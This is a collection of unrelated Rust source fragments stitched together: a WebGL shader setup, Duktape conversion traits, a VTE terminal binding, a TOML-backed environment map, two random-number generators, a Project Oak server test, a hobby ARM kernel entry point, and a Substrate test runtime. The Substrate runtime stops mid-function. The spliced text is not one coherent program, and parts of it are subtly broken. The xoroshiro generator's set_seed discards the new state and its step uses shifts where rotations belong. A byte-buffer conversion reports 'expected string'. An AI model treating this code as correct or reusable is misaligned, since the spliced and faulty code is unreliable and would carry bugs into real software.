WebGl2RenderingContext::FRAGMENT_SHADER, r#"#version 300 es precision highp float; uniform sampler2D tex; in vec2 uv; out vec4 outColor; void main() { float alpha = smoothstep(0.5, 0.7, length(uv - vec2(0.5))); outColor = texture(tex, uv) + vec4(0.0, 0.0, 0.0, alpha); } "#, )?; return shader_utils::link_program( &context, &vert_shader, &frag_shader, vec![], ); }
#[cfg(feature = "value")] use super::super::Enumerate; use super::super::{ error::{ErrorKind, Result}, Context, Idx, }; #[cfg(feature = "value")] use super::Type; #[cfg(feature = "value")] use value::{Map, Number, Value}; pub trait FromDuktape<'de>: Sized { fn from_context(ctx: &'de Context, index: Idx) -> Result<Self>; } macro_rules! impl_for_der { ($T:ty, $func:ident, $check:ident) => { impl<'de> FromDuktape<'de> for $T { fn from_context(ctx: &'de Context, index: Idx) -> Result<Self> { if !ctx.$check(index) { bail!(ErrorKind::TypeError("".to_string())); } let ret = ctx.$func(index)?; Ok(ret as $T) } } }; } impl_for_der!(isize, get_number, is_number); impl_for_der!(i8, get_int, is_number); impl_for_der!(i16, get_int, is_number); impl_for_der!(i32, get_int, is_number); impl_for_der!(usize, get_number, is_number); impl_for_der!(u8, get_uint, is_number); impl_for_der!(u16, get_uint, is_number); impl_for_der!(u32, get_uint, is_number); impl<'de> FromDuktape<'de> for bool { fn from_context(ctx: &'de Context, index: Idx) -> Result<Self> { ctx.get_boolean(index) } } impl<'de> FromDuktape<'de> for () { fn from_context(_ctx: &'de Context, _index: i32) -> Result<Self> { Ok(()) } } impl<'de> FromDuktape<'de> for String { fn from_context(ctx: &'de Context, index: Idx) -> Result<Self> { if !ctx.is_string(index) { return Err(ErrorKind::TypeError(format!( "expected string, got: {:?}", ctx.get_type(index) )) .into()); } Ok(ctx.get_string(index)?.to_owned()) } } impl<'de> FromDuktape<'de> for &'de str { fn from_context(ctx: &'de Context, index: Idx) -> Result<Self> { if !ctx.is_string(index) { bail!(ErrorKind::TypeError(format!( "expected string, got: {:?}", ctx.get_type(index) ))); } ctx.get_string(index) } } impl<'de> FromDuktape<'de> for &'de [u8] { fn from_context(ctx: &'de Context, index: Idx) -> Result<Self> { if !ctx.is_buffer(index) { bail!(ErrorKind::TypeError(format!( "expected string, got: {:?}", ctx.get_type(index) ))); } ctx.get_bytes(index) } } // #[cfg(feature = "value")] // impl<'de> FromDuktape<'de> for Number { // fn from_context(ctx: &'de Context, index: Idx) -> Result<Self> { // } // } #[cfg(feature = "value")] impl<'de> FromDuktape<'de> for Value { fn from_context(ctx: &'de Context, idx: Idx) -> Result<Self> { let ty = ctx.get_type(idx); let val = match ty { Type::Null | Type::Undefined => Value::Null, Type::String => Value::String(ctx.get::<String>(idx)?), Type::Boolean => Value::Bool(ctx.get::<bool>(idx)?), Type::Number => Value::Number(Number::from_f64(ctx.get_number(idx)?)), Type::Object => pull_object(ctx, idx)?, Type::Array => pull_array(ctx, idx)?, _ => bail!(ErrorKind::TypeError(format!( "type to value not implemented: {:?}", ty ))), }; Ok(val) } } #[cfg(feature = "value")] #[inline] fn pull_object(ctx: &Context, idx: Idx) -> Result<Value> { ctx.enumerator(idx, Enumerate::OWN_PROPERTIES_ONLY)?; let mut map = Map::new(); while ctx.next(-1, true)? { let key = ctx.get_string(-2)?; let value = Value::from_context(ctx, -1)?; map.insert(key.to_owned(), value); ctx.pop(2); } ctx.pop(1); Ok(Value::Object(map)) } #[cfg(feature = "value")] #[inline] fn pull_array(ctx: &Context, idx: Idx) -> Result<Value> { ctx.enumerator(idx, Enumerate::ARRAY_INDICES_ONLY)?; let mut map = Vec::new(); while ctx.next(-1, true)? { let value = Value::from_context(ctx, -1)?; map.push(value); ctx.pop(2); } ctx.pop(1); Ok(Value::Array(map)) }
use glib::object::IsA; use Terminal; pub trait TerminalExtManual: 'static { #[cfg(any(feature = "v0_46", feature = "dox"))] fn event_check_regex_simple(&self, event: &mut gdk::Event, regexes: &[&Regex], match_flags: u32) -> Option<Vec<GString>>; } impl<O: IsA<Terminal>> TerminalExtManual for O { /// Checks each regex in regexes if the text in and around the position of the event matches the regular expressions. #[cfg(any(feature = "v0_46", feature = "dox"))] fn event_check_regex_simple(&self, event: &mut gdk::Event, regexes: &[&Regex], match_flags: u32) -> Option<Vec<GString>> { unsafe { let mut n_regexes = mem::uninitialized(); let mut matches = Vec::<GString>::uninitialized(); let ret = from_glib(vte_sys::vte_terminal_event_check_regex_simple(self.as_ref().to_glib_none().0, event.to_glib_none_mut().0, regexes.to_glib_none().0, &mut n_regexes, match_flags, matches.to_glib_none_mut().0)); if ret { Some(matches) } else { None } } } }
use std::collections::HashMap; use toml::value::Table as TomlTable; #[derive(Clone, Debug)] pub struct Env(HashMap<String, String>); impl From<Option<TomlTable>> for Env { fn from(env: Option<TomlTable>) -> Self { let mut data = HashMap::new(); if let Some(env) = env { env.into_iter().for_each(|(k, v)| { data.insert(k, v.to_string().trim_matches('"').to_string()); }); } Env(data) } } impl Env { pub fn insert<K, V>(&mut self, key: K, value: V) -> Option<String> where K: Into<String>, V: Into<String>, { self.0.insert(key.into(), value.into()) } #[allow(dead_code)] pub fn remove<K>(&mut self, key: K) -> Option<String> where K: AsRef<str>, { self.0.remove(key.as_ref()) } pub fn kv_vec(self) -> Vec<String> { self.0 .into_iter() .map(|(k, v)| format!("{}={}", k, v)) .collect() } }
pub trait RandomSource { fn set_seed(&mut self, seed: i64) -> (); fn consume(&mut self, n: i32) -> (); fn next_int(&mut self) -> i32; fn next_int_max(&mut self, max: i32) -> i32; fn next_long(&mut self) -> i64; fn next_float(&mut self) -> f32; fn next_double(&mut self) -> f64; } pub struct LegacyRandomSource { seed: i64, } impl LegacyRandomSource { const MODULUS_BITS: i32 = 48; const MODULUS_MASK: i64 = 0xFFFFFFFFFFFF; const MULTIPLIER: i64 = 25214903917; const INCREMENT: i64 = 11; const FLOAT_MULTIPLIER: f32 = 5.9604645E-8; const DOUBLE_MULTIPLIER: f64 = 1.110223E-16; #[allow(dead_code)] pub fn new(seed: i64) -> Self { Self { seed: Self::initial_seed(seed) } } fn initial_seed(seed: i64) -> i64 { (seed ^ 0x5DEECE66D) & Self::MODULUS_MASK } fn next(&mut self, n: i32) -> i32 { self.seed = self.seed.wrapping_mul(Self::MULTIPLIER).wrapping_add(Self::INCREMENT) & Self::MODULUS_MASK; (self.seed >> Self::MODULUS_BITS - n) as i32 } } impl RandomSource for LegacyRandomSource { fn set_seed(&mut self, seed: i64) { self.seed = Self::initial_seed(seed) } fn consume(&mut self, n: i32) { for _ in 0..n { self.next_int(); } } fn next_int(&mut self) -> i32 { self.next(32) } fn next_int_max(&mut self, max: i32) -> i32 { assert!(max > 0); if (max & max - 1) == 0 { return (max as i64 * self.next(31) as i64 >> 31) as i32; } loop { let a = self.next(31); let b = a % max; if a - b + max - 1 >= 0 { return b; }; } } fn next_long(&mut self) -> i64 { let lo = self.next(32) as i64; let hi = self.next(32) as i64; (lo << 32) + hi } fn next_float(&mut self) -> f32 { self.next(24) as f32 * Self::FLOAT_MULTIPLIER } fn next_double(&mut self) -> f64 { let lo = self.next(26) as i64; let hi = self.next(27) as i64; ((lo << 27) + hi) as f64 * Self::DOUBLE_MULTIPLIER } } pub struct XoroshiroRandomSource { lo: i64, hi: i64, } impl XoroshiroRandomSource { const FLOAT_UNIT: f32 = 5.9604645E-8; const DOUBLE_UNIT: f64 = 1.110223E-16; pub fn new(lo: i64, hi: i64) -> Self { Self { lo, hi } } pub fn from(seed: i64) -> Self { Self { lo: Self::mix_stafford_13(seed ^ 0x6A09E667F3BCC909), hi: Self::mix_stafford_13(seed - 7046029254386353131), } } fn mix_stafford_13(mut a: i64) -> i64 { a = (a ^ a >> 30).wrapping_mul(-4658895280553007687); a = (a ^ a >> 27).wrapping_mul(-7723592293110705685); a ^ a >> 31 } fn next_bits(&mut self, n: i32) -> i64 { self.next_long() >> 64 - n } } impl Default for XoroshiroRandomSource { fn default() -> Self { Self::new(-7046029254386353131, 7640891576956012809) } } impl RandomSource for XoroshiroRandomSource { fn set_seed(&mut self, seed: i64) { Self::from(seed); } fn consume(&mut self, n: i32) { for _ in 0..n { self.next_long(); } } fn next_int(&mut self) -> i32 { self.next_long() as i32 } fn next_int_max(&mut self, max: i32) -> i32 { assert!(max > 0); ((self.next_long() as i32) % max).abs() } fn next_long(&mut self) -> i64 { let res = (self.lo.wrapping_add(self.hi)).wrapping_shl(17).wrapping_add(self.lo); let a = self.hi ^ self.lo; self.lo = (self.lo << 49) ^ a ^ self.hi << 21; self.hi = a << 28; res } fn next_float(&mut self) -> f32 { self.next_bits(24) as f32 * Self::FLOAT_UNIT } fn next_double(&mut self) -> f64 { self.next_bits(53) as f64 * Self::DOUBLE_UNIT } }
// // Copyright 2021 The Project Oak Authors // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. use maplit::hashmap; use oak_functions_abi::proto::StatusCode; use oak_functions_loader::{ grpc::{create_and_start_grpc_server, create_wasm_handler}, logger::Logger, lookup::{LookupData, LookupDataAuth, LookupDataSource}, server::Policy, }; use std::{ net::{Ipv6Addr, SocketAddr}, sync::Arc, time::Duration, }; use test_utils::make_request; #[tokio::test] async fn test_server() { let server_port = test_utils::free_port(); let address = SocketAddr::from((Ipv6Addr::UNSPECIFIED, server_port)); let mut manifest_path = std::env::current_dir().unwrap(); manifest_path.push("Cargo.toml"); let wasm_module_bytes = test_utils::compile_rust_wasm(manifest_path.to_str().expect("Invalid target dir"), false) .expect("Couldn't read Wasm module"); let mock_static_server = Arc::new(test_utils::MockStaticServer::default()); let mock_static_server_clone = mock_static_server.clone(); let static_server_port = test_utils::free_port(); let mock_static_server_background = test_utils::background(|term| async move { mock_static_server_clone .serve(static_server_port, term) .await }); mock_static_server.set_response_body(test_utils::serialize_entries(hashmap! { b"key_0".to_vec() => b"value_0".to_vec(), b"key_1".to_vec() => b"value_1".to_vec(), b"key_2".to_vec() => b"value_2".to_vec(), b"empty".to_vec() => vec![], })); let logger = Logger::for_test(); let lookup_data = Arc::new(LookupData::new_empty( Some(LookupDataSource::Http { url: format!("http://localhost:{}", static_server_port), auth: LookupDataAuth::default(), }), logger.clone(), )); lookup_data.refresh().await.unwrap(); let policy = Policy { constant_response_size_bytes: 100, constant_processing_time: Duration::from_millis(200), }; let tee_certificate = vec![]; let wasm_handler = create_wasm_handler(&wasm_module_bytes, lookup_data, vec![], logger.clone()) .expect("could not create wasm_handler"); let server_background = test_utils::background(|term| async move { create_and_start_grpc_server( &address, wasm_handler, tee_certificate, policy, term, logger, ) .await }); { // Lookup match. let response = make_request(server_port, b"key_1").await.response; assert_eq!(StatusCode::Success as i32, response.status); assert_eq!(b"value_1", response.body().unwrap(),); } { // Lookup fail. let response = make_request(server_port, b"key_42").await.response; assert_eq!(StatusCode::Success as i32, response.status); assert_eq!(Vec::<u8>::new(), response.body().unwrap()); } { // Lookup match but empty value. let response = make_request(server_port, b"empty").await.response; assert_eq!(StatusCode::Success as i32, response.status); assert_eq!(Vec::<u8>::new(), response.body().unwrap()); } let res = server_background.terminate_and_join().await; assert!(res.is_ok()); mock_static_server_background.terminate_and_join().await; }
#![feature(lang_items)] #![feature(core_intrinsics)] #![feature(const_fn)] #![feature(asm)] #![feature(optin_builtin_traits)] #![feature(decl_macro)] #![feature(never_type)] #![feature(ptr_internals)] #![feature(panic_implementation)] #![feature(panic_handler)] #![feature(nll)] #![feature(exclusive_range_pattern)] #![feature(alloc, allocator_api)] #![feature(alloc_error_handler)] #![feature(panic_info_message)] #![feature(naked_functions)] #[macro_use] #[allow(unused_imports)] extern crate alloc; extern crate fat32; extern crate pi; extern crate stack_vec; extern crate volatile; pub mod draw; pub mod fs; pub mod lang_items; pub mod shell; pub mod syscalls; pub mod traps; pub mod aarch64; pub mod process; pub mod vm; use pi::console::kprintln; use pi::screen::SCREEN; use pi::raccoon::RACCOON_STRING; use pi::timer; use shell::shell; #[cfg(not(test))] use pi::allocator::Allocator; use fs::FileSystem; use process::GlobalScheduler; #[cfg(not(test))] #[global_allocator] pub static ALLOCATOR: Allocator = Allocator::uninitialized(); pub static FILE_SYSTEM: FileSystem = FileSystem::uninitialized(); pub static SCHEDULER: GlobalScheduler = GlobalScheduler::uninitialized(); #[no_mangle] #[cfg(not(test))] pub unsafe extern "C" fn kmain() { timer::spin_sleep_ms(1000); kprintln!("{}", RACCOON_STRING); for tag in pi::atags::Atags::get() { kprintln!("{:#?}", tag); } let el = aarch64::current_el(); kprintln!("running in el {}", el); ALLOCATOR.initialize(); FILE_SYSTEM.initialize(); let mut v = vec![]; for i in 0..1000 { v.push(i); } kprintln!("allocated vec:"); kprintln!("{:x?}", v); SCREEN.lock().clear(); SCREEN.lock().draw_string_scale(&"WELCOME TO MaxOS,5", 5); SCREEN.lock().draw_char_scale(0x0d, 5); SCHEDULER.start(); } #[no_mangle] pub extern fn start_shell() { // shell("!>>> "); // unsafe { asm!("brk 1" :::: "volatile"); } // unsafe { asm!("brk 2" :::: "volatile"); } // unsafe { asm!("brk 3" :::: "volatile"); } loop { shell("1 >>> "); } } #[no_mangle] pub extern fn start_shell_2() { loop { shell("2 >>> "); } } #[no_mangle] pub extern fn print_junk_1() { let mut counter = 0; loop { counter += 1; kprintln!("counter = {}", counter); timer::spin_sleep_ms(1000); } }
// This file is part of Substrate. // Copyright (C) 2017-2020 Parity Technologies (UK) Ltd. // SPDX-License-Identifier: Apache-2.0 // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. //! The Substrate runtime. This can be compiled with #[no_std], ready for Wasm. #![cfg_attr(not(feature = "std"), no_std)] #[cfg(feature = "std")] pub mod genesismap; pub mod system; use codec::{Decode, Encode, Error, Input}; use sp_std::{marker::PhantomData, prelude::*}; use sp_application_crypto::{ecdsa, ed25519, sr25519, RuntimeAppPublic}; use sp_core::{offchain::KeyTypeId, ChangesTrieConfiguration, OpaqueMetadata, RuntimeDebug}; use sp_trie::trie_types::{TrieDB, TrieDBMut}; use sp_trie::{PrefixedMemoryDB, StorageProof}; use trie_db::{Trie, TrieMut}; use cfg_if::cfg_if; use frame_support::{ impl_outer_origin, parameter_types, traits::KeyOwnerProofSystem, weights::{RuntimeDbWeight, Weight}, }; use sp_api::{decl_runtime_apis, impl_runtime_apis}; pub use sp_core::hash::H256; use sp_inherents::{CheckInherentsResult, InherentData}; use sp_runtime::{ create_runtime_str, impl_opaque_keys, traits::{ BlakeTwo256, BlindCheckable, Block as BlockT, Extrinsic as ExtrinsicT, GetNodeBlockType, GetRuntimeBlockType, IdentityLookup, NumberFor, Verify, }, transaction_validity::{ InvalidTransaction, TransactionSource, TransactionValidity, TransactionValidityError, ValidTransaction, }, ApplyExtrinsicResult, Perbill, }; #[cfg(any(feature = "std", test))] use sp_version::NativeVersion; use sp_version::RuntimeVersion; // Ensure Babe and Aura use the same crypto to simplify things a bit. pub use sp_consensus_babe::{AllowedSlots, AuthorityId, SlotNumber}; pub type AuraId = sp_consensus_aura::sr25519::AuthorityId; // Include the WASM binary #[cfg(feature = "std")] include!(concat!(env!("OUT_DIR"), "/wasm_binary.rs")); #[cfg(feature = "std")] /// Wasm binary unwrapped. If built with `BUILD_DUMMY_WASM_BINARY`, the function panics. pub fn wasm_binary_unwrap() -> &'static [u8] { WASM_BINARY.expect( "Development wasm binary is not available. Testing is only \ supported with the flag disabled.", ) } /// Test runtime version. pub const VERSION: RuntimeVersion = RuntimeVersion { spec_name: create_runtime_str!("test"), impl_name: create_runtime_str!("parity-test"), authoring_version: 1, spec_version: 2, impl_version: 2, apis: RUNTIME_API_VERSIONS, transaction_version: 1, }; fn version() -> RuntimeVersion { VERSION } /// Native version. #[cfg(any(feature = "std", test))] pub fn native_version() -> NativeVersion { NativeVersion { runtime_version: VERSION, can_author_with: Default::default() } } /// Calls in transactions. #[derive(Clone, PartialEq, Eq, Encode, Decode, RuntimeDebug)] pub struct Transfer { pub from: AccountId, pub to: AccountId, pub amount: u64, pub nonce: u64, } impl Transfer { /// Convert into a signed extrinsic. #[cfg(feature = "std")] pub fn into_signed_tx(self) -> Extrinsic { let signature = sp_keyring::AccountKeyring::from_public(&self.from) .expect("Creates keyring from public key.") .sign(&self.encode()) .into(); Extrinsic::Transfer { transfer: self, signature, exhaust_resources_when_not_first: false } } /// Convert into a signed extrinsic, which will only end up included in the block /// if it's the first transaction. Otherwise it will cause `ResourceExhaustion` error /// which should be considered as block being full. #[cfg(feature = "std")] pub fn into_resources_exhausting_tx(self) -> Extrinsic { let signature = sp_keyring::AccountKeyring::from_public(&self.from) .expect("Creates keyring from public key.") .sign(&self.encode()) .into(); Extrinsic::Transfer { transfer: self, signature, exhaust_resources_when_not_first: true } } } /// Extrinsic for test-runtime. #[derive(Clone, PartialEq, Eq, Encode, Decode, RuntimeDebug)] pub enum Extrinsic { AuthoritiesChange(Vec<AuthorityId>), Transfer { transfer: Transfer, signature: AccountSignature, exhaust_resources_when_not_first: bool, }, IncludeData(Vec<u8>), StorageChange(Vec<u8>, Option<Vec<u8>>), ChangesTrieConfigUpdate(Option<ChangesTrieConfiguration>), } parity_util_mem::malloc_size_of_is_0!(Extrinsic); // non-opaque extrinsic does not need this #[cfg(feature = "std")] impl serde::Serialize for Extrinsic { fn serialize<S>(&self, seq: S) -> Result<S::Ok, S::Error> where S: ::serde::Serializer, { self.using_encoded(|bytes| seq.serialize_bytes(bytes)) } } impl BlindCheckable for Extrinsic { type Checked = Self; fn check(self) -> Result<Self, TransactionValidityError> { match self { Extrinsic::AuthoritiesChange(new_auth) => Ok(Extrinsic::AuthoritiesChange(new_auth)), Extrinsic::Transfer { transfer, signature, exhaust_resources_when_not_first } => if sp_runtime::verify_encoded_lazy(&signature, &transfer, &transfer.from) { Ok(Extrinsic::Transfer { transfer, signature, exhaust_resources_when_not_first, }) } else { Err(InvalidTransaction::BadProof.into()) }, Extrinsic::IncludeData(_) => Err(InvalidTransaction::BadProof.into()), Extrinsic::StorageChange(key, value) => Ok(Extrinsic::StorageChange(key, value)), Extrinsic::ChangesTrieConfigUpdate(new_config) => Ok(Extrinsic::ChangesTrieConfigUpdate(new_config)), } } } impl ExtrinsicT for Extrinsic { type Call = Extrinsic; type SignaturePayload = (); fn is_signed(&self) -> Option<bool> { if let Extrinsic::IncludeData(_) = *self { Some(false) } else { Some(true) } } fn new(call: Self::Call, _signature_payload: Option<Self::SignaturePayload>) -> Option<Self> { Some(call) } } impl sp_runtime::traits::Dispatchable for Extrinsic { type Origin = Origin; type Trait = (); type Info = (); type PostInfo = (); fn dispatch(self, _origin: Self::Origin) -> sp_runtime::DispatchResultWithInfo<Self::PostInfo> { panic!("This implemention should not be used for actual dispatch."); } } impl Extrinsic { /// Convert `&self` into `&Transfer`. /// /// Panics if this is no `Transfer` extrinsic. pub fn transfer(&self) -> &Transfer { self.try_transfer().expect("cannot convert to transfer ref") } /// Try to convert `&self` into `&Transfer`. /// /// Returns `None` if this is no `Transfer` extrinsic. pub fn try_transfer(&self) -> Option<&Transfer> { match self { Extrinsic::Transfer { ref transfer, .. } => Some(transfer), _ => None, } } } /// The signature type used by accounts/transactions. pub type AccountSignature = sr25519::Signature; /// An identifier for an account on this system. pub type AccountId = <AccountSignature as Verify>::Signer; /// A simple hash type for all our hashing. pub type Hash = H256; /// The hashing algorithm used. pub type Hashing = BlakeTwo256; /// The block number type used in this runtime. pub type BlockNumber = u64; /// Index of a transaction. pub type Index = u64; /// The item of a block digest. pub type DigestItem = sp_runtime::generic::DigestItem<H256>; /// The digest of a block. pub type Digest = sp_runtime::generic::Digest<H256>; /// A test block. pub type Block = sp_runtime::generic::Block<Header, Extrinsic>; /// A test block's header. pub type Header = sp_runtime::generic::Header<BlockNumber, Hashing>; /// Run whatever tests we have. pub fn run_tests(mut input: &[u8]) -> Vec<u8> { use sp_runtime::print; print("run_tests..."); let block = Block::decode(&mut input).unwrap(); print("deserialized block."); let stxs = block.extrinsics.iter().map(Encode::encode).collect::<Vec<_>>(); print("reserialized transactions."); [stxs.len() as u8].encode() } /// A type that can not be decoded. #[derive(PartialEq)] pub struct DecodeFails<B: BlockT> { _phantom: PhantomData<B>, } impl<B: BlockT> Encode for DecodeFails<B> { fn encode(&self) -> Vec<u8> { Vec::new() } } impl<B: BlockT> codec::EncodeLike for DecodeFails<B> {} impl<B: BlockT> DecodeFails<B> { /// Create a new instance. pub fn new() -> DecodeFails<B> { DecodeFails { _phantom: Default::default() } } } impl<B: BlockT> Decode for DecodeFails<B> { fn decode<I: Input>(_: &mut I) -> Result<Self, Error> { Err("DecodeFails always fails".into()) } } cfg_if! { if #[cfg(feature = "std")] { decl_runtime_apis! { #[api_version(2)] pub trait TestAPI { /// Return the balance of the given account id. fn balance_of(id: AccountId) -> u64; /// A benchmark function that adds one to the given value and returns the result. fn benchmark_add_one(val: &u64) -> u64; /// A benchmark function that adds one to each value in the given vector and returns the /// result. fn benchmark_vector_add_one(vec: &Vec<u64>) -> Vec<u64>; /// A function that always fails to convert a parameter between runtime and node. fn fail_convert_parameter(param: DecodeFails<Block>); /// A function that always fails to convert its return value between runtime and node. fn fail_convert_return_value() -> DecodeFails<Block>; /// A function for that the signature changed in version `2`. #[changed_in(2)] fn function_signature_changed() -> Vec<u64>; /// The new signature. fn function_signature_changed() -> u64; fn fail_on_native() -> u64; fn fail_on_wasm() -> u64; /// trie no_std testing fn use_trie() -> u64; fn benchmark_indirect_call() -> u64; fn benchmark_direct_call() -> u64; fn vec_with_capacity(size: u32) -> Vec<u8>; /// Returns the initialized block number. fn get_block_number() -> u64; /// Takes and returns the initialized block number. fn take_block_number() -> Option<u64>; /// Returns if no block was initialized. #[skip_initialize_block] fn without_initialize_block() -> bool; /// Test that `ed25519` crypto works in the runtime. /// /// Returns the signature generated for the message `ed25519` and the public key. fn test_ed25519_crypto() -> (ed25519::AppSignature, ed25519::AppPublic); /// Test that `sr25519` crypto works in the runtime. /// /// Returns the signature generated for the message `sr25519`. fn test_sr25519_crypto() -> (sr25519::AppSignature, sr25519::AppPublic); /// Test that `ecdsa` crypto works in the runtime. /// /// Returns the signature generated for the message `ecdsa`. fn test_ecdsa_crypto() -> (ecdsa::AppSignature, ecdsa::AppPublic); /// Run various tests against storage. fn test_storage(); /// Check a witness. fn test_witness(proof: StorageProof, root: crate::Hash); /// Test that ensures that we can call a function that takes multiple /// arguments. fn test_multiple_arguments(data: Vec<u8>, other: Vec<u8>, num: u32); } } } else { decl_runtime_apis! { pub trait TestAPI { /// Return the balance of the given account id. fn balance_of(id: AccountId) -> u64; /// A benchmark function that adds one to the given value and returns the result. fn benchmark_add_one(val: &u64) -> u64; /// A benchmark function that adds one to each value in the given vector and returns the /// result. fn benchmark_vector_add_one(vec: &Vec<u64>) -> Vec<u64>; /// A function that always fails to convert a parameter between runtime and node. fn fail_convert_parameter(param: DecodeFails<Block>); /// A function that always fails to convert its return value between runtime and node. fn fail_convert_return_value() -> DecodeFails<Block>; /// In wasm we just emulate the old behavior. fn function_signature_changed() -> Vec<u64>; fn fail_on_native() -> u64; fn fail_on_wasm() -> u64; /// trie no_std testing fn use_trie() -> u64; fn benchmark_indirect_call() -> u64; fn benchmark_direct_call() -> u64; fn vec_with_capacity(size: u32) -> Vec<u8>; /// Returns the initialized block number. fn get_block_number() -> u64; /// Takes and returns the initialized block number. fn take_block_number() -> Option<u64>; /// Returns if no block was initialized. #[skip_initialize_block] fn without_initialize_block() -> bool; /// Test that `ed25519` crypto works in the runtime. /// /// Returns the signature generated for the message `ed25519` and the public key. fn test_ed25519_crypto() -> (ed25519::AppSignature, ed25519::AppPublic); /// Test that `sr25519` crypto works in the runtime. /// /// Returns the signature generated for the message `sr25519`. fn test_sr25519_crypto() -> (sr25519::AppSignature, sr25519::AppPublic); /// Test that `ecdsa` crypto works in the runtime. /// /// Returns the signature generated for the message `ecdsa`. fn test_ecdsa_crypto() -> (ecdsa::AppSignature, ecdsa::AppPublic); /// Run various tests against storage. fn test_storage(); /// Check a witness. fn test_witness(proof: StorageProof, root: crate::Hash); /// Test that ensures that we can call a function that takes multiple /// arguments. fn test_multiple_arguments(data: Vec<u8>, other: Vec<u8>, num: u32); } } } } #[derive(Clone, Eq, PartialEq)] pub struct Runtime; impl GetNodeBlockType for Runtime { type NodeBlock = Block; } impl GetRuntimeBlockType for Runtime { type RuntimeBlock = Block; } impl_outer_origin! { pub enum Origin for Runtime where system = frame_system {} } #[derive(Clone, Encode, Decode, Eq, PartialEq, RuntimeDebug)] pub struct Event; impl From<frame_system::Event<Runtime>> for Event { fn from(_evt: frame_system::Event<Runtime>) -> Self { unimplemented!("Not required in tests!") } } parameter_types! { pub const BlockHashCount: BlockNumber = 2400; pub const MinimumPeriod: u64 = 5; pub const MaximumBlockWeight: Weight = 4 * 1024 * 1024; pub const DbWeight: RuntimeDbWeight = RuntimeDbWeight { read: 100, write: 1000, }; pub const MaximumBlockLength: u32 = 4 * 1024 * 1024; pub const AvailableBlockRatio: Perbill = Perbill::from_percent(75); } impl frame_system::Trait for Runtime { type BaseCallFilter = (); type Origin = Origin; type Call = Extrinsic; type Index = u64; type BlockNumber = u64; type Hash = H256; type Hashing = Hashing; type AccountId = u64; type Lookup = IdentityLookup<Self::AccountId>; type Header = Header; type Event = Event; type BlockHashCount = BlockHashCount; type MaximumBlockWeight = MaximumBlockWeight; type DbWeight = (); type BlockExecutionWeight = (); type ExtrinsicBaseWeight = (); type MaximumExtrinsicWeight = MaximumBlockWeight; type MaximumBlockLength = MaximumBlockLength; type AvailableBlockRatio = AvailableBlockRatio; type Version = (); type PalletInfo = (); type AccountData = (); type OnNewAccount = (); type OnKilledAccount = (); type SystemWeightInfo = (); } impl pallet_timestamp::Trait for Runtime { /// A timestamp: milliseconds since the unix epoch. type Moment = u64; type OnTimestampSet = (); type MinimumPeriod = MinimumPeriod; type WeightInfo = (); } parameter_types! { pub const EpochDuration: u64 = 6; pub const ExpectedBlockTime: u64 = 10_000; } impl pallet_babe::Trait for Runtime { type EpochDuration = EpochDuration; type ExpectedBlockTime = ExpectedBlockTime; // there is no actual runtime in this test-runtime, so testing crates // are manually adding the digests. normally in this situation you'd use // pallet_babe::SameAuthoritiesForever. type EpochChangeTrigger = pallet_babe::ExternalTrigger; type KeyOwnerProofSystem = (); type KeyOwnerProof = <Self::KeyOwnerProofSystem as KeyOwnerProofSystem<(KeyTypeId, AuthorityId)>>::Proof; type KeyOwnerIdentification = <Self::KeyOwnerProofSystem as KeyOwnerProofSystem<( KeyTypeId, AuthorityId, )>>::IdentificationTuple; type HandleEquivocation = (); type WeightInfo = (); } /// Adds one to the given input and returns the final result. #[inline(never)] fn benchmark_add_one(i: u64) -> u64 { i + 1 } /// The `benchmark_add_one` function as function pointer. #[cfg(not(feature = "std"))] static BENCHMARK_ADD_ONE: sp_runtime_interface::wasm::ExchangeableFunction<fn(u64) -> u64> = sp_runtime_interface::wasm::ExchangeableFunction::new(benchmark_add_one); fn code_using_trie() -> u64 { let pairs = [ (b"0103000000000000000464".to_vec(), b"0400000000".to_vec()), (b"0103000000000000000469".to_vec(), b"0401000000".to_vec()), ] .to_vec(); let mut mdb = PrefixedMemoryDB::default(); let mut root = sp_std::default::Default::default(); let _ = { let v = &pairs; let mut t = TrieDBMut::<Hashing>::new(&mut mdb, &mut root); for i in 0..v.len() { let key: &[u8] = &v[i].0; let val: &[u8] = &v[i].1; if !t.insert(key, val).is_ok() { return 101 } } t }; if let Ok(trie) = TrieDB::<Hashing>::new(&mdb, &root) { if let Ok(iter) = trie.iter() { let mut iter_pairs = Vec::new(); for pair in iter { if let Ok((key, value)) = pair { iter_pairs.push((key, value.to_vec())); } } iter_pairs.len() as u64 } else { 102 } } else { 103 } } impl_opaque_keys! { pub struct SessionKeys { pub ed25519: ed25519::AppPublic, pub sr25519: sr25519::AppPublic, pub ecdsa: ecdsa::AppPublic, } } cfg_if! { if #[cfg(feature = "std")] { impl_runtime_apis! { impl sp_api::Core<Block> for Runtime { fn version() -> RuntimeVersion { version() } fn execute_block(block: Block) { system::execute_block(block) } fn initialize_block(header: &<Block as BlockT>::Header) { system::initialize_block(header) } } impl sp_api::Metadata<Block> for Runtime { fn metadata() -> OpaqueMetadata { unimplemented!() } } impl sp_transaction_pool::runtime_api::TaggedTransactionQueue<Block> for Runtime { fn validate_transaction( _source: TransactionSource, utx: <Block as BlockT>::Extrinsic, ) -> TransactionValidity { if let Extrinsic::IncludeData(data) = utx { return Ok(ValidTransaction { priority: data.len() as u64, requires: vec![], provides: vec![data], longevity: 1, propagate: false, }); } system::validate_transaction(utx) } } impl sp_block_builder::BlockBuilder<Block> for Runtime { fn apply_extrinsic(extrinsic: <Block as BlockT>::Extrinsic) -> ApplyExtrinsicResult { system::execute_transaction(extrinsic) } fn finalize_block() -> <Block as BlockT>::Header { system::finalize_block() } fn inherent_extrinsics(_data: InherentData) -> Vec<<Block as BlockT>::Extrinsic> { vec![] } fn check_inherents(_block: Block, _data: InherentData) -> CheckInherentsResult { CheckInherentsResult::new() } fn random_seed() -> <Block as BlockT>::Hash { unimplemented!() } } impl self::TestAPI<Block> for Runtime { fn balance_of(id: AccountId) -> u64 { system::balance_of(id) } fn benchmark_add_one(val: &u64) 